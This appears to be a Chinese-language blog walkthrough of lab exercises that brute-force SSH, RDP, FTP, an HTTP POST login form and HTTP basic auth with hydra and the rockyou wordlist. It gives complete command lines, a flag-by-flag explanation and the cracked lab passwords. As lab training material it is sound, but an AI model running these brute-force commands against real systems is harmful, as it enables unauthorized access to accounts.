帳號驗證服務攻擊

 帳號驗證服務攻擊


SSH & RDP 破密攻擊

靶機 1 : 192.168.226.201

第一步 rustscan,└─$ rustscan -a 192.168.226.201 --scripts none --ulimit 5000

 22 & 2222 Port



nmap 查看 22, 2222 服務,└─$ sudo nmap -sV -sC -p 22,2222 192.168.226.201

 - 22 : OpenSSH 8.9p1

 - 2222 : OpenSSH 8.2p1



題目有另外說明攻擊 2222 端口,也提供了一個帳號 george,因為將使用 rockyou.txt 當作字典檔,所以要先解壓縮 gzip -d



接著 hydra 直接下去即可

└─$ hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.226.201

瞬間拿到密碼 chocolate


登入後查找 flag,└─$ ssh -p 2222 george@192.168.226.201     





靶機 2 : 192.168.226.202

第一步 rustscan,└─$ rustscan -a 192.168.226.202 --scripts none --ulimit 5000

看來是台 Windows,這次針對 RDP 3389 進行破密



本次已知的是某個使用者的密碼為 "SuperS3cure1337#",但不知道使用者帳號

所以這一次變成暴力破解出使用者帳號,一樣使用 hydra 進行暴力破解

但是字典檔變成使用帳號字典檔 /usr/share/wordlists/dirb/others/names.txt



指令如下

└─$ hydra -L /usr/share/wordlists/dirb/others/names.txt -p "SuperS3cure1337#" rdp://192.168.226.202

注意指令已知的用小寫,未知要測試的用大寫
 -l : 指定的使用者名稱
 -L : 預計使用的使用者字典檔
 -p : 已知指定的密碼
 -P : 預計使用的密碼檔

因為是測試使用者帳號,所以會把字典檔中的每一個帳號都進行測試,但很花時間

下圖可以看到已經測試到一個使用者帳號 daniel



最後測試出兩個帳號 daniel、justin



登入並在桌面看到 flag

└─$ xfreerdp -v:192.168.226.202 -u:daniel -p:SuperS3cure1337#






靶機 3 : 192.168.226.202

第一步 rustscan,└─$ rustscan -a 192.168.226.202 --scripts none --ulimit 5000

看來是台 Windows,可以針對 21、445、3389 進行破密



已知有一個帳號為 itadmin,第一步一樣先 RDP 測試看看

└─$ hydra -l itadmin -P /usr/share/wordlists/rockyou.txt rdp://192.168.226.202 

跑超過 10 分鐘太慢了直接放棄



下一個 FTP,└─$ hydra -l itadmin -P /usr/share/wordlists/rockyou.txt ftp://192.168.226.202 
馬上出來帳號 itadmin 密碼 hellokitty


ftp 登入,get 下載 flag.txt







HTTP POST 登錄表單

靶機 1 : 192.168.226.201

大部分的系統包含網頁,通常預設都會有 root or admin or administrator 這種帳號

在未知的狀況下透過暴力攻擊這三個帳號的密碼是一個好方法

└─$ rustscan -a 192.168.226.201 --scripts none --ulimit 5000 , 22、80 Port



看來是個 Tiny File Manager 網站




閱讀官方系統文件可以知道預設有兩個帳號 admin & user,如下連結說明

https://github.com/prasathmani/tinyfilemanager

先用文件中的 admin / admin@123 測試登入(結果失敗),然後送到 Burp Suite 的  Intruder

登入失敗時會收到如下資訊 [ Login failed. Invalid username or password ]

後續要帶入 hydra 當作登入失敗的識別



帳號密碼的欄位參數分別為 fm_usr & fm_pwd




這時候可以透過 Burp Suite ,但我們改用 Hydra,因為可以帶入錯誤識別

先測試簡單的一般帳號 user,注意看參數使用 http-post-form 並以 : 區分三個位置

 - 網址登入頁面 : /index.php

 - 表單參數 : fm_usr=user&fm_pwd=^PASS^  --> 這裡 ^^ 中間表示參數

 - 識別 String : Login failed. Invalid --> 避免使用 username、password 字眼

└─$ hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.226.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

成功破解了 user 的密碼為 121212



成功登入了,但沒有 flag,看來要破解另外一個帳號了




逛了一下發現藏在 install.txt 裡面,還好不用花時間破解另一個帳號



看到那個路徑在 /var/www/html/install.txt,搞不好可以直接存取,試試看

http://192.168.226.201/install.txt,真的直接出現在網頁上了






靶機 2 : 192.168.226.201

└─$ rustscan -a 192.168.226.201 --scripts none --ulimit 5000 , 22、80 Port




直接就問帳號密碼,輸入 admin & thisispasswd 試試看登入




送出的內容是這一串 YWRtaW46dGhpc2lzcGFzc3dk



看來是 base64 encodr,那就解碼看看,格式是 admin:thisispasswd



Response Body 內容是 Unauthorized



測試了幾個指令都沒用,因為帳號密碼一敲完不對會直接在跳出要你輸入帳號密碼

查了一下 hydra 的參數,發現 -f 可以使用

參數 -f : 測試到有成功就停止,不帶也沒差

好用網站https://m3lon.github.io/2019/03/23/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3%E5%B7%A5%E5%85%B7-hydra%E5%91%BD%E4%BB%A4%E6%80%BB%E7%BB%93/

可以使用的指令

└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.226.201 http-get /   

└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.226.201 http-get /   -f
破解的帳號密碼 admin / 789456



這題的 flag 是密碼,結束



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)